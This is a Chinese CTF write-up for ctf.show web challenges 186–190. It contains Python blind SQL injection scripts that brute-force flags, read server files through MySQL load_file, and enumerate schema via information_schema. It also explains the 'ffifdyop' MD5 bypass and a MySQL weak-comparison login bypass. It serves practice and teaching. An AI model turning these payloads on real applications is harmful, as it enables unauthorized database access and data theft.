当前位置: 首页 > news >正文

ctfshow——web入门186~190

web入门186

还是185的脚本

from requests import post
from string import digits, ascii_lowercase

URL = "http://23bc03a1-e5ce-4acd-b632-9d531a57877a.challenge.ctf.show/select-waf.php"
payload = "ctfshow_user group by pass having substr(pass,{},{}) regexp char({})"

flag = "ctfshow{"

def encode(param):
    res = ""
    if isinstance(param, int):
        for i in range(param):
            res += "true+"
    else:
        for i in range(ord(param)):
            res += "true+"
        #ord用来返回ascii值

    return res[:-1]

while True:

    for c in "-}" + digits + ascii_lowercase:

        data = {"tableName": payload.format(encode(len(flag) + 1), encode(1), encode(c))}

        if "user_count = 0" in post(URL, data).text:
            continue
        else:
            flag = flag + c
            print(flag)
            
            if c == "}":
                exit()
            break

 

web入门187

要求password在md5加密后等于一个值,

此处使用ffifdyop万能密码绕过。

ffifdyop的MD5加密结果是276f722736c95d99e921722cf9ed621c,经过MySQL编码后会变成’or’6xxx, 只要第一位是非零数字即可被判定为True,后面的会在MySQL将其转换成整型比较时丢掉 使SQL恒成立,相当于万能密码,可以绕过md5()函数的加密。关键参数为md5(xx,true)。

web入门188

在这个查询中,因为username是个字符串,我们只要令$username=0, 因为弱比较,username就会转化为0,成立

这个密码也是同理,mysql中字符串与数字进行比较的时候,以字母开头的字符串都会转换成数字0 (看来pass也是以字母开头)

web入门189

load_file

LOAD_FILE() 是 MySQL 中的一个函数,用于从服务器文件系统中读取文件内容并将其作为字符串返回。


LOAD_FILE() 的基本语法

SELECT LOAD_FILE('/path/to/file');
  • /path/to/file:需要读取的文件路径。
  • 返回值:
    • 如果文件存在且可以读取,返回文件内容(以字符串形式)。
    • 如果文件不存在或无法读取,返回 NULL

使用条件

文件路径必须是绝对路径

  • LOAD_FILE() 只能读取绝对路径下的文件,不能使用相对路径。
  • 示例:

SELECT LOAD_FILE('/etc/passwd');

这题在账号密码都是0时会报出

所以我们可以根据这个查询

密码错误的Unicode 编码为\u5bc6\u7801\u9519\u8bef

脚本:

import requests

str="{1234567890-qwertyuiopasdfghjklzxcvbnm}"
flag = ''

for x in range(50):

    for i in str:

        data = {

            "username":"if(load_file('/var/www/html/api/index.php')regexp'ctfshow{}',0,1)".format(flag+i),"password":"0"
        }
        #这里是如果匹配成功,username=0,password=0

        res = requests.post('http://01b06d9c-49f5-47f4-8b70-8e0295a824f0.challenge.ctf.show/api/index.php',data=data)
        
        if r"\u5bc6\u7801\u9519\u8bef" in res.text:

            flag+=i

            print('ctfshow'+flag)       
            if i=='}':
                exit()
            break

web入门190

通过改变用户名,出现不同的回显

以此来构造

import requests
import string

url = "http://1159d798-add3-47e4-bdc2-1b7658b8359e.challenge.ctf.show/api/index.php"
out = ''
for j in range(1, 50):
        for k in range(32, 128):
     
            data={
                #'username': f"1'|| if(ascii(substr(database(),{j},1))={k},1,0)#",
                #'username': f"1'||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1))={k},1,0)#",
                #'username': f"1'||if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{j},1))={k},1,0)#"
                'username': f"1'||if(ascii(substr((select f1ag from ctfshow_fl0g),{j},1))={k},1,0)#",
                'password': '1'
            }
     
            re = requests.post(url, data=data)
            if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
                out += chr(k)
                print(out)
                break

http://www.dtcms.com/a/122151.html

相关文章:

  • Feign修仙指南:声明式HTTP请求的优雅之道
  • Java中23种设计模式之代理模式
  • Codeforces Round 970 (Div. 3)题解
  • 物联网与边缘计算之边缘计算节点设计与协议(MQTT、CoAP)
  • uniapp:微信小程序,一键获取手机号
  • 如何优化 App 启动速度以实现快速打开
  • 在Python中对一个数取整
  • Rust在航空电子软件开发中的可行性研究:现状与展望
  • Kafka生产者和消费者:数据管道的核心引擎与智能终端
  • 【学习笔记】字符串string的常用处理方法(C++)
  • 批量给 jpg/png 等格式图片添加文字水印或图片水印
  • 算法训练之位运算
  • 记一次ubantu搭建vulhub靶场。从docker安装到拉取vulhub靶场一条龙服务
  • 数据结构刷题之贪心算法
  • Apache Nifi安装与尝试
  • 从政策引领到实战应用:消防救援“一张图”的蜕变之路
  • B站充电视频下载器(需配合会员Cookie使用,仅供学习交流,Python)
  • 【Ubuntu】超详细安装Ubuntu系统
  • 头歌 | WPS 文档 设置样式
  • Python+Requests 企业级接口测试入门(1~3天)
  • Spark Core编程
  • 智能 SQL 优化工具 PawSQL 月度更新 | 2025年3月
  • Android学习总结之自定义View实战篇
  • 探究按摩养生门店危机:上门服务成 “搅局者”
  • Python安装软件包报错 fatal error: Python.h: No such file or directory
  • python reportlab模块----操作PDF文件
  • 请回答集成测试和系统测试的区别,以及它们的应用场景主要是什么?
  • 解决华硕主板Z890m下载ubuntu20.04后没有以太网问题
  • 【免费】在线工具网址
  • CSS空间转换